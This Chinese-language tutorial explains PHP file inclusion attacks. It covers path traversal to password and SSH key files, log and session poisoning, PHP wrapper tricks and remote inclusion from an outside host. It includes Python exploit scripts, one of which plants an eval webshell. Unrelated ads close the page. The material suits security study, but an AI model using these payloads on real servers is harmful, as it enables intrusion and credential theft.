文件包含
目錄
- 文件包含
- 1. 概述
- 1.1 常見的引發漏洞的函數:
- 1.2 利用條件
- 1.3 分類和利用思路
- 2. 利用方法
- 2.1 配合文件解析漏洞來包含
- 2.2 讀取系統敏感文件(路徑遍歷)
- 2.3 包含http日誌文件
- 2.4 包含SSH日誌
- 2.5 使用PHP偽協議
- 2.6 配合phpinfo頁面包含臨時文件
- 2.7 包含Session
- 2.9 包含環境變量
- 3. 繞過技巧
- 3.1 限制路徑路徑
- 3.2 限制後綴
- 3.3 allow_url_include = off
- 3.4 Base64 處理的session文件
- 3.5 自己構造Session
- 3.6 CVE-2018-14884
參考資料:
文件包含漏洞簡介
利用phpinfo條件競爭
PHP文件包含漏洞利用思路與Bypass總結手冊
1. 概述
什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。
要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。
1.1 常見的引發漏洞的函數:
include()
執行到include
時才包含文件,文件不存在時提出警告,但是繼續執行。
require()
只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本。
include_once()
和require_once()
只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。
當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。
1.2 利用條件
1.3 分類和利用思路
文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。
本地文件包含
- 包含本地文件、執行代碼
- 配合文件上傳,執行惡意腳本
- 讀取本地文件
- 通過包含日誌的方式GetShell
- 通過包含
/proc/self/envion
文件GetShell
- 通過偽協議執行惡意腳本
- 通過
phpinfo
頁面包含臨時文件
遠程文件包含
- 直接執行遠程腳本(在本地執行)
遠程文件包含需要在php.ini
中進行配置,才可開啟:
allow_url_fopen = On
:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)
allow_url_include = On
:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen
開啟)
2. 利用方法
2.1 配合文件解析漏洞來包含
http://target.com/?page=../../upload/123.jpg/.php
2.2 讀取系統敏感文件(路徑遍歷)
include.php?file=../../../../../../../etc/passwd
Windows:
C:\boot.ini //查看系統版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz
2.3 包含http日誌文件
通過包含日誌文件,來執行夾雜在URL請求或者User-Agent
頭中的惡意腳本
-
通過讀取配置文件確定日誌文件地址
默認地址通常為:/var/log/httpd/access_log
或/var/log/apache2/access.log
-
請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>
,之後去包含這個日誌文件即可。
-
注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。
apache+Linux 日誌默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌默認路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默認日誌文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log
通過包含環境變量/proc/slef/enversion
來執行惡意腳本,修改HTTP請求的User-Agent
報頭,但是沒復現成功
2.4 包含SSH日誌
和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。
SSH登錄日誌常見存儲位置:/var/log/auth.log
或/var/log/secure
2.5 使用PHP偽協議
PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams
中可以找到目前環境下可用的協議。
file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 壓縮文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
-
file://
訪問本地文件系統http://target.com/?page=file://D:/www/page.txt
,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext
。
-
php://input
訪問輸入輸出流:?page=php://input
,在POST內容中輸入想要執行的腳本。
-
php://filter
:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。
全部可用過濾器列表:https://www.php.net/manual/zh/filters.php
通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
index.php?file=php://filter/convert.base64-encode/resource=index.php
-
data://
數據流封裝:?page=data://text/plain,腳本
zip://
壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名
訪問,5.2.9之前是只能絕對路徑。
備註:
-
文件需要絕對路徑才能訪問
-
需要通過#
(也就是URL中的%23
)來指定代碼文件
-
compress.bzip2://
和compress.zlib://
壓縮流,與zip類似,但是支持相對路徑,無視後綴
bzip
和gzip
是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)
?file=compress.bzip2://路徑
?file=compress.zlib://路徑
-
phar://
支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名
,絕對路徑和相對路徑都行。
利用方法:
index.php?file=phar://test.zip/test.txt
index.php?file=phar://test.xxx/test.txt
製作phar文件(php5.3之後):
- 設置
php.ini
中phar.readonly=off
- 製作生成腳本
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
$phar->stopBuffering(); //簽名自動計算
?>
// 這個腳本需要使用php.exe 來生成
-
生成腳本2
<?php
$p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
$p->addFromString('test.txt', '<?php phpinfo();?>');
?>
//這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
2.6 配合phpinfo頁面包含臨時文件
向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑
臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭
只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。
-
發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據
-
因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大
-
php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接
-
所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包
-
此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除
-
利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell
利用腳本exp
2.7 包含Session
-
PHP將用戶Session以文件的形式保存在主機中,通過php.ini
文件中的session.save_path
字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>
,其中PHPSESSID
為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
-
Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini
文件中session.serialize_handler
字段來進行設置。
以php格式記錄時,文件內容中以|
來進行分割:
以php_serialize格式記錄時,將會話內容以序列化形式存儲:
-
如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。
先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>
,之後包含這個會話的session文件。
2.9 包含環境變量
CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。
利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。
3. 繞過技巧
3.1 限制路徑路徑
服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'
限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。
../../../../../../../ect/passwd
對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f
,甚至是二次轉換。
3.2 限制後綴
對用戶輸入添加後綴,比如:自動添加.jgp
後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。
-
如果是遠程文件包含的話可以利用URL的特性:?
、#
構造出類似於http://test.com/evil.php?/static/test.php
和http://test.com/evil.php#/static/test.php
的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。
-
利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。
比如壓縮包中文件為test.zip->test->defautl->test.php
,構造url:include.php?file=phar://test.zip/test
,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')
-
利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。
win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php
-
利用00截斷:php<5.3.4時可用%00
對字符串進行截斷,%00
被是識別為字符串終止標記。
3.3 allow_url_include = off
利用SMB、webdav等使用UNC路徑的文件共享進行繞過。
- 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:
?include.php?file=\\172.16.97.128\test.php
- 利用WebDAV:構造連接
?include.php?file=//172.16.97.128/webdav/test.php
3.4 Base64 處理的session文件
為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。
-
根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php
即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:
字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。
-
有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:
、|
、{}
、;
、"
這類字符對Base64解碼沒有影響。
-
Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1
的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)
-
user:|s:24:"
有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24
變成一個三位數——填充無效數據擴充payload長度。
-
serialize模式同理,session文件中a:1:{s:4:"user";s:24:"
共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。
3.5 自己構造Session
有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:
session.use_strict_mode = 0
,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx
將session文件名定義為sess_xxx
session.upload_progress.enabled = on
,PHP可以在每個文件上傳時監視上傳進度。
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
,當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name
同名變量時,上傳進度可以在$_SESSION
中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION
中添加一組數據, 索引是session.upload_progress.prefix
與 session.upload_progress.name
連接在一起的值。
利用思路:
-
上傳一個文件
-
上傳時設置一個自定義PHPSESSID
cookie
-
POST PHP_SESSION_UPLOAD_PROGRESS
惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
這樣就會在Session目錄下生成一個包含惡意代碼的session文件。
-
但是php默認設置中會打開session.upload_progress.cleanup = on
,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。
利用exp:
import io
import sys
import requests
import threading
sessid = 'test'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://127.0.0.1/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'PHP Version' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
3.6 CVE-2018-14884
CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。
影響版本:
PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1
windows 臨時文件:C:\windows\php<隨機字符>.tmp
linux臨時文件:/tmp/php<隨機字符>
-
漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php
返回500錯誤
-
post惡意字符串
import requests
files = {
'file': '<?php phpinfo();'
}
url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url, files=files, allow_redirects=False)
-
在臨時文件中可以看到惡意代碼成功寫入
-
至於包含嘛,爆破或者其他手段探測這個臨時文件吧。
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線
※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整
※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!
※教你寫出一流的銷售文案?
※超省錢租車方案
※回頭車貨運收費標準